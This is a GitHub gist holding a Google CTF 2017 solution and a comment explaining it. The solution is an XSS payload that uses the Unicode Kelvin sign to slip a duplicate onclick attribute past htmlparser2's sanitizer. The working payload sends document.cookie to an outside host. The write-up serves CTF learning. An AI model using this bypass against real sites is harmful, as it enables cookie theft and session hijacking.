Last active
May 21, 2018 10:24
-
-
Save buglloc/929bf2cb24af1cc05a6a664a71f8031f to your computer and use it in GitHub Desktop.
Geokitties v2 (#GoogleCTF 2017)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<a onclicK="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@the-st0rm. Nope..
What we known about a html attributes:
E.g. for html code
<a onclick="" oNclick="some">
browser will create the elementa
with attributeonclick=""
.Therefore
htmlparser2
usesString.prototype.toLowerCase
for attribute names and reject duplicates:Now let's look into the validation function:
As you can see, it allows an empty html events. So, all we need is to create duplicate html event for
htmlparser2
but unique for browser.This could be done with
\u212A
, because aftertoLowerCase
it transforms to\u006B
:PoC:
htmlparser2
browser (Chromium 59):